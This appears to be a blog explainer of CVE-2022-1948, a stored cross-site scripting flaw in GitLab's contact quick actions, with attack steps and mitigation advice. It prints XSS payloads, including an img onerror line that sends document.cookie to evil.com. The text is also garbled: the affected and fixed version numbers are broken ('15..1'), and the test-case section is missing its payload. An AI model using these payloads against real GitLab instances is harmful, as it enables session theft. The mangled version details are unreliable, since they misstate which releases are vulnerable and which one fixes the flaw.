In May 2022, security researchers discovered a critical issue affecting GitLab — a popular tool countless teams use for code collaboration and DevOps. This problem, registered as CVE-2022-1948, lets attackers inject malicious scripts into project contact details using a feature called *quick actions*. All GitLab versions from 15. before 15..1 are exposed.

This post breaks down the bug, explains the underlying problem, shows how attackers can exploit this, and lists ways to protect yourself. As an extra, you’ll get code examples and references to understand every step. Let’s dive in.

What are Quick Actions in GitLab?

Quick actions are shortcuts that let GitLab users perform certain commands right inside issues, merge requests, and comments. For example, typing /assign @username in a comment quickly assigns the issue to that user.

Contact details can be set using such commands, intended to add helpful info to an issue or project.

The Vulnerability: Missing Input Validation

The core of CVE-2022-1948 is *missing input validation*. GitLab failed to properly check the data users input in quick actions — specifically when adding contact information. This gap let attackers insert specially crafted HTML/JavaScript payloads, resulting in cross-site scripting (XSS).

What is XSS?  
XSS happens when an attacker tricks a web app into displaying malicious code to other users. For example, a piece of JavaScript that pops up a fake login screen or steals cookies.

Step 1: Craft a Dangerous Quick Action

The attacker sends a malicious quick action when editing contact information — for example, in a project's issue:

/contact John Doe <img src=x onerror="alert('XSS!')">

Step 2: GitLab Saves the Payload

Because GitLab didn’t validate the input, it’d save exactly what the attacker entered, including the <img> tag with JavaScript.

Step 3: Exposure

Any user who later views the infected contact details triggers the <img>’s onerror JavaScript. This could do something simple, like show an alert:

alert('XSS!');

Or something more dangerous, like stealing your document.cookie or injecting further scripts.

Wormable Payloads: Scripts could self-replicate by posting further payloads automatically.

- Escalated Privileges: If an admin views infected details, the attack could escalate to compromise the whole GitLab instance.

Test Case: How the Exploit Looked

Here’s a simplified example of how this exploit worked prior to the patch.

`

/contact Attacker

Submit the comment.

If anyone with permission viewed the contact details, the browser would pop up an alert showing their cookie. A real attacker might exfiltrate it instead.

<img src=x onerror="fetch('http://evil.com/log?c='+document.cookie)">

References and More Reading

- Original CVE Page
- GitLab Security Advisory
- Example of Quick Actions
- OWASP XSS Guide

Patch and Mitigation

Who’s at risk?  
If you run or use a GitLab version from 15. up to but not including 15..1 — you’re affected.

How to fix:  
Upgrade IMMEDIATELY to GitLab 15..1 or newer. The patch blocks unauthorized HTML in contact details and cleans up existing payloads.

Temporary workaround:  
Restrict project editing to trusted users and audit contact details for suspicious entries.

Conclusion: Lessons Learned

CVE-2022-1948 is a classic example of why *input validation* matters. Even trusted features like quick actions can create an opening for malicious activity. Always keep your GitLab (and all critical software) up to date, and watch for XSS prevention in all user input fields.

For admins:

Audit for strange <img>, <script>, or similar tags in project metadata and comments.

For users:  
Be cautious opening unknown links, and report suspicious activity to your GitLab admin.


Stay safe, update often, and remember:  
If it’s web software, always treat user input as potentially dangerous.


*Written exclusively for you, with clear & actionable insight into CVE-2022-1948 and its real-world dangers.*

Timeline

Published on: 07/28/2022 15:15:00 UTC
Last modified on: 08/04/2022 14:37:00 UTC